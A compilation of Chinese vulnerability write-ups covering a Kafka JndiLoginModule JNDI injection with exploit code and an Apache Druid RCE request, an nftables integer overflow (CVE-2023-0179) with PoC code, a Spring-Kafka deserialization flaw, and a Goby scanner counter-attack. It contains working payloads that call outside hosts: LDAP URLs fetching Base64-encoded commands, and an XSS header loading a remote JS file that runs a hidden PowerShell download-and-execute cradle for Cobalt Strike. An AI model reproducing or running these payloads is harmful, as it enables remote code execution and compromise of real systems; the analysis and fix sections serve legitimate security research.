export KAFKA_OPTS="-Djava.security.auth.login.config=/opt/modules/kafka_2.11-2.0.0/config/kafka_server_jaas.conf"
fi
https://kafka.apache.org/documentation/#brokerconfigs_sasl.jaas.config客户端配置
基本同服务端一致,如下步骤
1、配置客户端 JAAS 文件,命名为 kafka_client_jaas.conf
KafkaClient {
org.apache.kafka.common.security.plain.PlainLoginModule required
username="eystar"
password="eystar8888";
};
2、JAVA 调用的 Kafka Client 客户端连接时指定配置属性 sasl.jaas.config
sasl.jaas.config=org.apache.kafka.common.security.plain.PlainLoginModule required \
username="eystar" \
password="eystar8888";
// 即配置属性:(后续会讲到也能够动态配置,让我想起了 RocketMQ)
Pro.set(“sasl.jaas.config”,”org.apache.kafka.common.security.plain.PlainLoginModule required username=\"eystar\" password=\"eystar8888\";";
”);
Kafka 客户端动态修改 JAAS 配置
方式一:配置 Properties 属性,可以注意到这一个字段的键名为 sasl.jaas.config,它的格式如下
loginModuleClass controlFlag (optionName=optionValue)*;
其中的 loginModuleClass 代表认证方式, 例如 LDAP, Kerberos, Unix 认证,可以参考官方文档 https://docs.oracle.com/javase/8/docs/technotes/guides/security/jgss/tutorials/LoginConfigFile.html 其中有一处为 JndiLoginModule,JDK 自带的 loginModule 位于 com.sun.security.auth.module
//安全模式 用户名 密码
props.setProperty("sasl.jaas.config", "org.apache.kafka.common.security.plain.PlainLoginModule required username=\"usn\" password=\"pwd\";");
props.setProperty("security.protocol", "SASL_PLAINTEXT");
props.setProperty("sasl.mechanism", "PLAIN");
方式二:设置系统属性参数
// 指定kafka_client_jaas.conf文件路径
String confPath = TestKafkaComsumer.class.getResource("/").getPath()+ "/kafka_client_jaas.conf";
System.setProperty("java.security.auth.login.config", confPath);
实现代码
消费者
public class TestComsumer {
public static void main(String[] args) {
Properties props = new Properties();
props.put("bootstrap.servers", "192.168.1.176:9092");
props.put("group.id", "test_group");
props.put("enable.auto.commit", "true");
props.put("auto.commit.interval.ms", "1000");
props.put("key.deserializer",
"org.apache.kafka.common.serialization.StringDeserializer");
props.put("value.deserializer",
"org.apache.kafka.common.serialization.StringDeserializer");
// sasl.jaas.config的配置
props.setProperty("sasl.jaas.config", "org.apache.kafka.common.security.plain.PlainLoginModule required username=\"usn\" password=\"pwd\";");
props.setProperty("security.protocol", "SASL_PLAINTEXT");
props.setProperty("sasl.mechanism", "PLAIN");
KafkaConsumer<String, String> consumer = new KafkaConsumer<>(props);
consumer.subscribe(Arrays.asList("topic_name"));
while (true) {
try {
ConsumerRecords<String, String> records = consumer.poll(Duration
.ofMillis(100));
for (ConsumerRecord<String, String> record : records)
System.out.printf("offset = %d, partition = %d, key = %s, value = %s%n",
record.offset(), record.partition(), record.key(), record.value());
} catch (Exception e) {
e.printStackTrace();
}
}
}
}
生产者
public class TestProduce {
public static void main(String args[]) {
Properties props = new Properties();
props.put("bootstrap.servers", "192.168.1.176:9092");
props.put("acks", "1");
props.put("retries", 3);
props.put("batch.size", 16384);
props.put("buffer.memory", 33554432);
props.put("linger.ms", 10);
props.put("key.serializer",
"org.apache.kafka.common.serialization.StringSerializer");
props.put("value.serializer",
"org.apache.kafka.common.serialization.StringSerializer");
//sasl
props.setProperty("sasl.jaas.config", "org.apache.kafka.common.security.plain.PlainLoginModule required username=\"usn\" password=\"pwd\";");
props.setProperty("security.protocol", "SASL_PLAINTEXT");
props.setProperty("sasl.mechanism", "PLAIN");
Producer<String, String> producer = new KafkaProducer<>(props);
/**
* ProducerRecord 参数解析 第一个:topic_name为生产者 topic名称,
* 第二个:对于生产者kafka2.0需要你指定一个key
* ,在企业应用中,我们一般会把他当做businessId来用,比如订单ID,用户ID等等。 第三个:消息的主要信息
*/
try {
producer.send(new ProducerRecord<String, String>("topic_name", Integer.toString(i), "message info"));
} catch (InterruptedException e) {
e.printStackTrace();
}
}
}
漏洞复现
漏洞触发点其实是在 com.sun.security.auth.module.JndiLoginModule#attemptAuthentication 方法处
理顺逻辑很容易构造出 EXP
import org.apache.kafka.clients.consumer.KafkaConsumer;
import org.apache.kafka.clients.producer.KafkaProducer;
import java.util.Properties;
public class EXP {
public static void main(String[] args) throws Exception {
Properties properties = new Properties();
properties.put("bootstrap.servers", "127.0.0.1:1234");
properties.put("key.deserializer", "org.apache.kafka.common.serialization.StringDeserializer");
properties.put("value.deserializer","org.apache.kafka.common.serialization.StringDeserializer");
properties.put("sasl.mechanism", "PLAIN");
properties.put("security.protocol", "SASL_SSL");
properties.put("sasl.jaas.config", "com.sun.security.auth.module.JndiLoginModule " +
"required " +
"user.provider.url=\"ldap://124.222.21.138:1389/Basic/Command/Base64/Q2FsYw==\" " +
"useFirstPass=\"true\" " +
"group.provider.url=\"xxx\";");
KafkaConsumer<String, String> kafkaConsumer = new KafkaConsumer<>(properties);
kafkaConsumer.close();
}
}
漏洞分析
前面有非常多的数据处理与赋值,这里就跳过了,直接看 org.apache.kafka.clients.consumer.KafkaConsumer 类的第 177 行 ClientUtils.createChannelBuilder(),跟进。
继续跟进,这里会先判断 SASL 模式是否开启,只有开启了才会往下跟进到 create() 方法
跟进 create() 方法,做完客户端的判断和安全协议的判断之后,调用了 loadClientContext() 方法,跟进,发现其中还是加载了一些配置。
跳出来,跟进 ((ChannelBuilder)channelBuilder).configure(configs) 方法,最后跟到 org.apache.kafka.common.security.authenticator.LoginManager 的构造函数。
跟进 login() 方法,此处 new LoginContext(),随后调用 login() 方法,跟进
这里会调用 JndiLoginModule 的 initialize() 方法
初始化完成之后,此处调用 JndiLoginModule 的 login() 方法,最后到 JndiLoginModule 的 attemptAuthentication() 方法,完成 Jndi 注入。
漏洞修复
在 3.4.0 版本中, 官方的修复方式是增加了对 JndiLoginModule 的黑名单
org.apache.kafka.common.security.JaasContext#throwIfLoginModuleIsNotAllowed
private static void throwIfLoginModuleIsNotAllowed(AppConfigurationEntry appConfigurationEntry) {
Set<String> disallowedLoginModuleList = (Set)Arrays.stream(System.getProperty("org.apache.kafka.disallowed.login.modules", "com.sun.security.auth.module.JndiLoginModule").split(",")).map(String::trim).collect(Collectors.toSet());
String loginModuleName = appConfigurationEntry.getLoginModuleName().trim();
if (disallowedLoginModuleList.contains(loginModuleName)) {
throw new IllegalArgumentException(loginModuleName + " is not allowed. Update System property '" + "org.apache.kafka.disallowed.login.modules" + "' to allow " + loginModuleName);
}
}
Apache Druid RCE via Kafka Clients
影响版本:Apache Druid <= 25.0.0
Apache Druid 是一个实时分析型数据库, 它支持从 Kafka 中导入数据 (Consumer) , 因为目前最新版本的 Apache Druid 25.0.0 所用 kafka-clients 依赖的版本仍然是 3.3.1, 即存在漏洞的版本, 所以如果目标 Druid 存在未授权访问 (默认配置无身份认证), 则可以通过这种方式实现 RCE
有意思的是, Druid 包含了 commons-beanutils:1.9.4 依赖, 所以即使在高版本 JDK 的情况下也能通过 LDAP JNDI 打反序列化 payload 实现 RCE
漏洞 UI 处触发点:Druid Web Console - Load data - Apache Kafka
在这里可以加载 Kafka 的 Data,其中可以修改配置项 sasl.jaas.config,由此构造 Payload
POST http://124.222.21.138:8888/druid/indexer/v1/sampler?for=connect HTTP/1.1
Host: 124.222.21.138:8888
Content-Length: 916
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.43
Content-Type: application/json
Origin: http://124.222.21.138:8888
Referer: http://124.222.21.138:8888/unified-console.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6,ja;q=0.5,zh-TW;q=0.4,no;q=0.3,ko;q=0.2
Connection: close
{"type":"kafka","spec":{"type":"kafka","ioConfig":{"type":"kafka","consumerProperties":{"bootstrap.servers":"127.0.0.1:1234",
"sasl.mechanism":"SCRAM-SHA-256",
"security.protocol":"SASL_SSL",
"sasl.jaas.config":"com.sun.security.auth.module.JndiLoginModule required user.provider.url=\"ldap://124.222.21.138:1389/Basic/Command/base64/aWQgPiAvdG1wL3N1Y2Nlc3M=\" useFirstPass=\"true\" serviceName=\"x\" debug=\"true\" group.provider.url=\"xxx\";"
},"topic":"123","useEarliestOffset":true,"inputFormat":{"type":"regex","pattern":"([\\s\\S]*)","listDelimiter":"56616469-6de2-9da4-efb8-8f416e6e6965","columns":["raw"]}},"dataSchema":{"dataSource":"sample","timestampSpec":{"column":"!!!_no_such_column_!!!","missingValue":"1970-01-01T00:00:00Z"},"dim
在 druid-kafka-indexing-service 这个 extension 中可以看到实例化 KafkaConsumer 的过程
而上面第 286 行的 addConsumerPropertiesFromConfig() 正是进行了动态修改配置
Apache Druid 26.0.0 更新了 kafka 依赖的版本
https://github.com/apache/druid/blob/26.0.0/pom.xml#L79
Nftables整型溢出(CVE-2023-0179)
前言
Netfilter是一个用于Linux操作系统的网络数据包过滤框架,它提供了一种灵活的方式来管理网络数据包的流动。Netfilter允许系统管理员和开发人员控制数据包在Linux内核中的处理方式,以实现网络安全、网络地址转换(Network Address Translation,NAT)、数据包过滤等功能。
漏洞成因
漏洞发生在nft_payload_copy_vlan函数内部,由于计算拷贝的VLAN帧的头部的长度时存在整型溢出,导致了拷贝超出头部长度的数据。
代码细节如下:
nft_payload_copy_vlan
#define VLAN_HLEN 4 /* The additional bytes required by VLAN
* (in addition to the Ethernet header)
*/
#define VLAN_ETH_HLEN 18 /* Total octets in header. */
/*
* d表示目的寄存器
* skb通常是网络协议栈的缓存区
* offset为数据包的偏移量
* len为拷贝的长度
*/
static bool
nft_payload_copy_vlan(u32 *d, const struct sk_buff *skb, u8 offset, u8 len)
{
int mac_off = skb_mac_header(skb) - skb->data; //获取以太网帧头部偏移
u8 *vlanh, *dst_u8 = (u8 *) d;
struct vlan_ethhdr veth;
u8 vlan_hlen = 0;
/*
IEEE 8021Q协议是对标准的以太网帧进行修改,加入了VLAN tag
IEEE 8021AD协议则是加入双重VLAN tag,一个用于内网,一个用于外网
*/
if ((skb->protocol == htons(ETH_P_8021AD) ||
skb->protocol == htons(ETH_P_8021Q)) &&
offset >= VLAN_ETH_HLEN && offset < VLAN_ETH_HLEN + VLAN_HLEN)
vlan_hlen += VLAN_HLEN;
vlanh = (u8 *) &veth;
if (offset < VLAN_ETH_HLEN + vlan_hlen) { //offset < 18 + 4
u8 ethlen = len; //拷贝的长度
if (vlan_hlen &&
skb_copy_bits(skb, mac_off, &veth, VLAN_ETH_HLEN) < 0)
return false;
else if (!nft_payload_rebuild_vlan_hdr(skb, mac_off, &veth))
return false;
if (offset + len > VLAN_ETH_HLEN + vlan_hlen)
ethlen -= offset + len - VLAN_ETH_HLEN + vlan_hlen;
//ethlen = ethlen - (offet + len - VLAN_ETH_HLEN + vlan_hlen);
//ethlen = ethlen - offset - len + VLAN_ETH_HELN - vlan_hlen;
//ethlen = VLAN_ETH_HELN - vlan_hlen - offset
//ethlen = 14 - offset
//如果offset > 14 则会造成 ethlen溢出
memcpy(dst_u8, vlanh + offset - vlan_hlen, ethlen); //这里实际上是拷贝vlan帧的头部,但是如果ethlen发生了溢出则会拷贝多余的字节
len -= ethlen;
if (len == 0)
return true;
dst_u8 += ethlen;
offset = ETH_HLEN + vlan_hlen;
} else {
offset -= VLAN_HLEN + vlan_hlen;
}
return skb_copy_bits(skb, offset + mac_off, dst_u8, len) == 0;
}
该函数实际的作用就是从数据包中将VLAN头拷贝到指定的寄存器中进行存储,函数开始会对数据包的协议进行校验,若是为IEEE 8021Q或IEEE 8021AD协议则说明以太网帧中增加了VLAN TAG,那么再拷贝VLAN头时需要将TAG也计算在内。在拷贝之前需要先计算待拷贝的长度,因此会进行一个长度的校验,若偏移加长度超过了VLAN帧的头部长度时,就需要对拷贝长度进行一个校准,防止拷贝过多的数据,但是这个校验有问题,通过上述推导的公式可以发现,当offset大于14且小于22并且offset+len的值大于22时,ethlen就会发生溢出,这是因为ethlen本身为无符号整型,当得到结果为负数时
这里有一个需要注意的点,在计算时ethlen时会加上vlan_hlen而不是减掉是因为在拷贝的时候会默认先减去vlan_hlen。
那么当offset = 19而len = 4时,则offset + len = 23 > 22,因此会进入if语句内部,接着ethlen = 14 - 19 = -5(发生溢出)
环境搭建
这里采用的是qemu + linux6.16内核进行环境的搭建。 作者创建虚拟网络设备的脚本如下
https://github.com/TurtleARM/CVE-2023-0179-PoC/blob/master/setup.sh#!/bin/sh
# create the peer virtual device
ip link add eth0 type veth peer name host-enp3s0
ip link set host-enp3s0 up
ip link set eth0 up
ip addr add 192.168.137.137/24 dev host-enp3s0
# add two vlans on top of it
ip link add link host-enp3s0 name vlan.5 type vlan id 5
ip link add link vlan.5 name vlan.10 type vlan id 10
ip addr add 192.168.147.137/24 dev vlan.10
ip link set vlan.5 up
ip link set vlan.10 up
ip link set lo up
# create a bridge to enable hooks
ip link add name br0 type bridge
ip link set dev br0 up
ip link set eth0 master br0
ip addr add 192.168.157.137/24 dev br0
可以看到作者在漏洞利用之前需要创建一些虚拟的网络设备,例如虚拟设备对,vlan接口以及网桥。这是因为想要进入nft_payload_copy_vlan函数的执行流程,需要数据包在vlan上进行传输才可以。代码如下所示:
void nft_payload_eval(const struct nft_expr *expr,
struct nft_regs *regs,
const struct nft_pktinfo *pkt)
{
const struct nft_payload *priv = nft_expr_priv(expr);
const struct sk_buff *skb = pkt->skb;
u32 *dest = ®s->data[priv->dreg];
int offset;
if (priv->len % NFT_REG32_SIZE)
dest[priv->len / NFT_REG32_SIZE] = 0;
switch (priv->base) {
case NFT_PAYLOAD_LL_HEADER: //数据链路层
if (!skb_mac_header_was_set(skb)) //判断数据包是否为mac头
goto err;
if (skb_vlan_tag_present(skb)) { //判断数据包是否有vlan标志
if (!nft_payload_copy_vlan(dest, skb,
priv->offset, priv->len))
goto err;
return;
}
offset = skb_mac_header(skb) - skb->data;
break;
...
因此为了使得程序进入漏洞函数,需要建设特定的网络环境。而该网络拓扑与Docker的很像,具体内容可以参考https://cloud.tencent.com/developer/article/1835299。网络拓扑大致如下,使用虚拟设备对的作用时,一端接口作为数据的输入而另一端接口作为数据的流出,那么后续进行hook的时候只需要hook一个点就行,设置vlan接口是因为只有vlan的数据包才能够进入nft_payload_copy_vlan函数的流程内,而在vlan.5上再次创建一个vlan接口是因为使得数据包能够加入双层vlan tag,这样可以通过IEEE 8021AD协议传输。
但是我在qemu的环境调试时数据包的协议都不是IEEE 8021AD而是IEEE 8021Q,在查询资料https://blog.csdn.net/m0_45406092/article/details/118497597发现,可以指定vlan的类型为IEEE 8021AD,因此修改了一下脚本。
#!/bin/sh
# create the peer virtual device
ip link add eth32 type veth peer name host-enp3s0
ip link set host-enp3s0 up
ip link set eth32 up
#ip addr add 192.168.137.137/24 dev host-enp3s0
# add two vlans on top of it
ip link add link host-enp3s0 name vlan.5 type vlan id 5
ip link add link vlan.5 name vlan.10 type vlan protocol 802.1ad id 10
#ip addr add 192.168.147.137/24 dev vlan.5
ip link set vlan.5 up
ip link set lo up
ip link set vlan.10 up
指定协议之后,数据包的协议也被为IEEE 8021AD了
至此环境就搭建完毕了。这里需要注意的是在编译内核的时候由于需要用到vlan、bridge以及IEEE 8021Q,因此需要开启这些模块,否则在创建设备时会出现unknow的错误。
漏洞验证
可以使用libnftnl库进行nftableshttps://github.com/tklauser/libnftnl/tree/master进行规则的设置
nftables需要设置table -> chain -> rule -> expr,由于我们需要捕获在虚拟设备对上的数据包,因此可以设置协议类型为NFPROTO_NETDEV,该协议类型是处理来自入口的数据包并且配合ingress的HOOK点以及chain可以指定HOOK点在具体的设备上,那么配合我们搭建的网络设备环境,可以指定HOOK点为以太网口(eth32)。
...
if (create_table(nl, table_name, NFPROTO_NETDEV, &seq, NULL))
{
perror("[-] create table");
exit(-1);
}
/* 2. create chain */
printf("[2] create chain\n");
struct unft_base_chain_param up;
up.hook_num = NF_NETDEV_INGRESS;
up.prio = INT_MIN;
if (create_chain(nl, table_name, chain_name, NFPROTO_NETDEV, &up, &seq, NULL, dev_name))
{
perror("[-] create chain");
exit(-1);
}
...
然后再设置payload的表达式触发漏洞,我们将offset设置为19,len设置为5
rule_add_payload(r, NFT_PAYLOAD_LL_HEADER, 19, 4, NFT_REG32_00);
可以看到我们成功将ethlen的值设置为了251的值,该值是远远超出了以太网帧头部的长度了。
可以看到寄存器中的值中除了以太网帧头部的数据,还有一些额外的数据了。
为了将这些数据打印出来,则需要利用nftables中自带的set(集合),集合实际是一组数据,例如我们需要过滤几个ip地址,就能将这些ip地址作为一个集合作为过滤的名单,而集合中有一种属性是map即以键值对的形式存储值,而这些值实际是可以通过寄存器进行添加的,那么我们就将上述寄存器的值添加到集合中使用nft list ruleset的命令就可以再屏幕中获取内核的信息了。创建集合的代码如下:
//创建集合
struct nftnl_set* build_set(char* table_name, char* set_name, uint16_t family)
{
struct nftnl_set *s = NULL;
s = nftnl_set_alloc();
if (s == NULL) {
perror("OOM");
exit(EXIT_FAILURE);
}
nftnl_set_set_str(s, NFTNL_SET_TABLE, table_name);
nftnl_set_set_str(s, NFTNL_SET_NAME, set_name);
nftnl_set_set_u32(s, NFTNL_SET_FAMILY, family);
nftnl_set_set_u32(s, NFTNL_SET_KEY_LEN, 4);
/* See nftables/include/datatype.h, where TYPE_INET_SERVICE is 13. We
* should place these datatypes in a public header so third party
* applications still work with nftables.
*/
nftnl_set_set_u32(s, NFTNL_SET_KEY_TYPE, NFT_DATA_VALUE); //以16进制的形式存储数据
nftnl_set_set_u32(s, NFTNL_SET_DATA_LEN, 4);
nftnl_set_set_u32(s, NFTNL_SET_DATA_TYPE, NFT_DATA_VALUE);//以16进制的形式存储数据
nftnl_set_set_u32(s, NFTNL_SET_ID, 1);
nftnl_set_set_u32(s, NFTNL_SET_FLAGS, NFT_SET_MAP); //以map存储数据
return s;
}
在创建完集合后,往集合里面添加数据是通过表达式完成的,而动态的添加以及删除集合中的元素则是通过dynset表达式进行处理,添加表达式代码如下:
void rule_add_dynset(struct nftnl_rule* r, char *set_name, uint32_t reg_key, uint32_t reg_data)
{
struct nftnl_expr *expr = nftnl_expr_alloc("dynset");
nftnl_expr_set_str(expr, NFTNL_EXPR_DYNSET_SET_NAME, set_name); //需要指定添加元素的集合名称
nftnl_expr_set_u32(expr, NFTNL_EXPR_DYNSET_OP, NFT_DYNSET_OP_UPDATE); //指定操作为添加操作
nftnl_expr_set_u32(expr, NFTNL_EXPR_DYNSET_SET_ID, 1);
nftnl_expr_set_u32(expr, NFTNL_EXPR_DYNSET_SREG_KEY, reg_key); //键
nftnl_expr_set_u32(expr, NFTNL_EXPR_DYNSET_SREG_DATA, reg_data);//值
nftnl_rule_add_expr(r, expr);
}
这里需要注意的是,我们指定了捕获数据包的网口,因此数据包需要途径该网口才能够捕获数据包,下面是作者使用的数据包发送的代码,首先是绑定发送数据包的端口为vlan.10,由于vlan.10是在vlan.5上创建的,因此从vlan.10出去的数据包会被打上双层vlan tag,并且vlan.5是在host-enps32上创建的,而host-enps32又是与eth32构成虚拟设备对,因此数据包最终会从eth32发出并且携带双重的vlan tag从而进入nft_payload_copy_vlan的函数内部,触发漏洞。
int send_packet()
{
int sockfd;
struct sockaddr_in addr;
char buffer[] = "This is a test message";
char *interface_name = "vlan.10"; // double-tagged packet
int interface_index;
struct ifreq ifr;
memset(&ifr, 0, sizeof(ifr));
memcpy(ifr.ifr_name, interface_name, MIN(strlen(interface_name) + 1, sizeof(ifr.ifr_name)));
sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if (sockfd < 0) {
perror("[-] Error creating socket");
return 1;
}
// Set the SO_BINDTODEVICE socket option
if (setsockopt(sockfd, SOL_SOCKET, SO_BINDTODEVICE, (void *)&ifr, sizeof(ifr)) < 0) {
perror("[-] Error setting SO_BINDTODEVICE socket option");
return 1;
}
memset(&addr, 0, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = inet_addr("192.168.123.123"); // random destination
addr.sin_port = htons(1337);
// Send the UDP packet
if (sendto(sockfd, buffer, sizeof(buffer), 0, (struct sockaddr*)&addr, sizeof(addr)) < 0) {
perror("[-] Error sending UDP packet");
return 1;
}
close(sockfd);
return 0;
}
可以看到最终完成了内核信息的泄露。
完整poc:https://github.com/h0pe-ay/Vulnerability-Reproduction/blob/master/CVE-2023-0179/poc.c
漏洞利用
利用JUMP调整stacksize
设置寄存器的值
利用nft_payload_copy_vlan触发漏洞拷贝payload
Kafka反序列化RCE漏洞(CVE-2023-34040)
漏洞描述
Spring Kafka 是 Spring Framework 生态系统中的一个模块,用于简化在 Spring 应用程序中集成 Apache Kafka 的过程,记录 (record) 指 Kafka 消息中的一条记录。
受影响版本中默认未对记录配置 ErrorHandlingDeserializer,当用户将容器属性 checkDeserExWhenKeyNull 或 checkDeserExWhenValueNull 设置为 true(默认为 false),并且允许不受信任的源发布到 Kafka 主题中时,攻击者可将恶意 payload 注入到 Kafka 主题中,当反序列化记录头时远程执行任意代码。
影响版本
2.8.1 <= Spring-Kafka <= 2.9.103.0.0 <= Spring-Kafka <= 3.0.9
漏洞复现
这一个漏洞所影响的组件其实是 Spring-Kafka,严格意义上来说并不算是 kafka 的漏洞,应该算是 Spring 的漏洞。
漏洞前置知识
先来看一看 SpringBoot 和 Kafka 是怎么完成通讯/消费的
工作流程如下
1、生产者将消息发送到 Kafka 集群中的某个 Broker(也可以是多个)2、Kafka 集群将消息存储在一个或多个分区中,并为每个分区维护一个偏移量3、消费者订阅一个或多个主题,并从 Kafka 集群中读取消息。4、消费者按顺序读取每个分区中的消息,并跟踪每个分区的偏移量。
ErrorHandlingDeserializer:是 Kafka中的一种反序列化器(Deserializer),它可以在反序列化过程中处理异常和错误。
checkDeserExWhenKeyNull && checkDeserExWhenValueNull:是 Kafka 中的一种序列化器(Serializer),它可以在序列化过程中检查键(key/value)是否为 null,并在发现值为 null 时抛出异常。
再简单整理一下漏洞条件
在受到影响的版本中,默认未对记录配置 ErrorHandlingDeserializer容器属性 checkDeserExWhenKeyNull 或 checkDeserExWhenValueNull 设置为 true
环境搭建
其中需要我们起一个 Kafka 的服务,用来接收消息,本机上起比较麻烦,可以在 vps 上用 docker 迅速搭建,且需注意,Kafka 要能够接受外连,docker-compose.yml 如下
version: '2'
services:
zookeeper:
image: zookeeper
restart: always
ports:
- "2181:2181"
container_name: zookeeper
kafka:
image: wurstmeister/kafka
restart: always
ports:
- "9092:9092"
- "9094:9094"
depends_on:
- zookeeper
environment:
KAFKA_ADVERTISED_HOST_NAME: 124.222.21.138
KAFKA_ZOOKEEPER_CONNECT: zookeeper:2181
KAFKA_LISTENERS: PLAINTEXT://0.0.0.0:9092,SSL://0.0.0.0:9094
KAFKA_ADVERTISED_LISTENERS: PLAINTEXT://124.222.21.138:9092,SSL://124.222.21.138:9094
KAFKA_LISTENER_SECURITY_PROTOCOL_MAP: PLAINTEXT:PLAINTEXT,SSL:SSL
KAFKA_INTER_BROKER_LISTENER_NAME: PLAINTEXT
container_name: kafka
Spring Kafka 的生产者和消费者可以通过使用 Spring Kafka 提供的 KafkaTemplate 和 `@KafkaListener 注解来编写。
生产者可以使用 KafkaTemplate 来发送消息到 Kafka 集群:
package com.drunkbaby.springkafkatest.controller;
import com.drunkbaby.springkafkatest.common.KafkaInfo;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.kafka.core.KafkaTemplate;
import org.springframework.kafka.support.SendResult;
import org.springframework.util.concurrent.ListenableFuture;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import java.time.LocalDateTime;
import java.util.concurrent.ExecutionException;
@RestController
@RequestMapping("/producer")
public class ProducerController {
@Autowired
private KafkaTemplate<String,String> kafkaTemplate;
@PostMapping("/fireAndForget")
public String fireAndForget() {
kafkaTemplate.send(KafkaInfo.TOPIC_WELCOME, "fireAndForget:" + LocalDateTime.now());
return "success";
}
}
消费者可以使用 @KafkaListener 注解来监听 Kafka 集群中的消息:
package com.drunkbaby.springkafkatest.consumer;
import com.drunkbaby.springkafkatest.common.KafkaInfo;
import org.springframework.kafka.annotation.KafkaListener;
import org.springframework.messaging.MessageHeaders;
import org.springframework.messaging.handler.annotation.Headers;
import org.springframework.messaging.handler.annotation.Payload;
import org.springframework.stereotype.Component;
@Component
public class Consumer {
@KafkaListener(topics = KafkaInfo.TOPIC_WELCOME)
public String consumer2(@Payload String message, @Headers MessageHeaders headers) {
System.out.println("消费者(注解方式):收到消息==> ");
System.out.println(" message:" + message);
System.out.println(" headers:");
headers.keySet().forEach(key -> System.out.println(" " + key + ":" + headers.get(key)));
return "success";
}
连接成功
访问 http://localhost:8083/producer/sync 发送一条记录
构造 payload
实际影响到的是 Consumer,且 Consumer 要设置 checkDeserExWhenKeyNull 或 checkDeserExWhenValueNull 为 true
ConcurrentKafkaListenerContainerFactory<String, Greeting> factory = new ConcurrentKafkaListenerContainerFactory<>();
factory.getContainerProperties().setCheckDeserExWhenValueNull(true);
factory.getContainerProperties().setCheckDeserExWhenKeyNull(true);
payload 参考 https://github.com/Contrast-Security-OSS/Spring-Kafka-POC-CVE-2023-34040
漏洞分析
主要是来看反序列化的部分
断点会先走到 org.springframework.kafka.listener.ListenerUtils#getExceptionFromHeader 方法,它这里面会获取到 PoC 中的 KEY_DESERIALIZER_EXCEPTION_HEADER,并将其作为 headers
往下跟进 byteArrayToDeserializationException() 方法,这里就直接到反序列化的部分了,而在反序列化之前做了一次 resolveClass() 的校验。
而这里的 resolveClass() 校验是一次性的,这就代表我们可以构造其他的 Payload,如 CC 链等,证实是可以打通的
之后便会进入到对应类的 readObject() 方法
漏洞修复
https://github.com/spring-projects/spring-kafka/commit/25ac793a78725e2ca4a3a2888a1506a4bfcf0c9d相当于把这里的 header 头加黑了
关于Goby反制上线CS中的各种问题
前言
Goby作为新一代网络安全技术,通过为目标建立完整的资产数据库,实现快速的安全应急,日常为广大师傅提供了便捷的渗透体验。最近有观察到有关于某些蜜罐出现了Goby反制的指纹,顿时就起了兴趣进行研究Goby的反制,期间也遇到了很多网上没有答案的坑点,这里把遇到的问题和关键点给师傅们列举出来,希望师傅们能了解到反制的整个流程,在攻防中也不要被反制。
原理
据Goby官方解释,这实际上是一个非常久远的历史漏洞,最早的纰漏的时间是在2021年10月,当月漏洞就已修复并发布新版本。至于漏洞为何存在,得追溯到Goby的组件识别能力,Goby是使用Electron构建的客户端软件,在Goby的资产界面中,扫描结果里会展示所有符合指纹识别规则的组件名称,比如PHP、IIS等,而Goby为了更为精准的组件识别,Goby会从返回的数据报文中提取版本信息(例如X-Powered-By中),并在资产界面进行渲染展示,在旧版本的Goby中并未对版本信息做无害化处理,从而导致漏洞产生。
X-Powered-By
X-Powered-By 是 HTTP 头中的一个字段,主要用于表示网站所使用的服务器、编程语言或框架等信息。例如对于Apache中间件的网站默认会包含X-Powered-By,其中包含一些banner(如PHP/5.3.29),Goby则是收集这些banner来识别组件信息的
我们也可以自定义一个X-Powered-By 头来干扰Goby进行指纹识别,例如在代码中加入
<?php
header("X-Powered-By: yuzi");
?>
当我们我们再次发包查看会发现X-Powered-By: yuzi
而对于Nginx中间件的网站默认不会包含X-Powered-By,需要自己构造X-Powered-By才显示,对比Apache中间件网站会安全一些
对于其他中间件来说
Tomcat:默认添加,例如 X-Powered-By: Servlet/3.0
IIS:默认添加,例如 X-Powered-By: http://ASP.NET
Jetty:默认添加,例如 X-Powered-By: Jetty
反制复现
环境准备:
注:受到反制影响的Goby版本应 < 2.0.0
Goby历史版本下载:https://gobysec.net/updates?v=15#Beta(1.9.325)%E2%80%A2Feb16,2022
Nginx环境复现
在网站根目录下对网站的首页(index.php)添加带payload的X-Powered-By段
<?php
header("X-Powered-By: PHP/5.3.29 <img\tsrc=1\tonerror=alert(/helloworld/)>");
?>
//语句中的/t不能用空格进行替代可以用tab键代替,且所有的空格处应该为tab键
//标签内语句中若存在双引号则要反斜杠(\)对其进行转义,如<img\tsrc=\"x\"\tonerror=\"alert(/helloworld/);\">
//若数字在弹窗内容中则无需在两边加斜杠(/),如<img\tsrc=1\tonerror=\"alert(1);\">
此时,红队在利用Goby对该蓝队主机进行扫描,扫描完后红队会自然而然地点击IP处进行查看当前的扫描结果
当红队进入IP的资产页面后,页面会优先显示蓝队主机网站的首页的指纹信息,此时我们在首页构造的X-Powered-By被Goby识别且没有做识别过滤,因此会在Goby资产页面显示并且payload会被执行
在Goby识别指纹的时候,把恶意语句识别进去了,在PHP指纹界面上可以很清楚的看到蓝队在首页的payload,但是Goby在该页面上并不会触发payload,只有从主页中点击进入IP详情界面,才会触发payload
由于Goby使用Electron构建客户端软件,Electron用的是node.js,并且node.js能执行系统命令,故可以把危害放大化直接反制上线蓝队CS,将主页的payload更改为远程加载JS文件来执行命令
<?php
header("X-Powered-By: PHP/5.3.29 <img\tsrc=1\tonerror=import(unescape('http%3A//192.168.108.164/1.js'))>");
?>
//URL中的:需要用%3A表示,unescape()会复原URL
构造主页payload中需要远程加载的恶意JS文件1.js
(function(){
require('child_process').exec('powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(\'http://192.168.108.164:100/a\'))"');
})();
//exec()内可以执行任意的系统命令例如exec('calc.exe');弹出计算机,这里通过CS的powershell命令执行进行上线
//若需要执行上线CS的命令的时,要用反斜杠(\)要把单引号转义一下,其他命令不用
在开始之前,由于刚刚Goby演示的扫描结果存在缓存,故正式开始之前应该先退出Goby,重新打开并新建扫描刚刚第一次的步骤来触发更改后的payload
为了反制时候达到隐匿效果,通常蜜罐会将payload进行HTML实体编码如
<?php
header("X-Powered-By: PHP/5.3.29 <img src=1 onerror=import(unescape('http%3A//192.168.108.164&#
?>
//标签不能编码
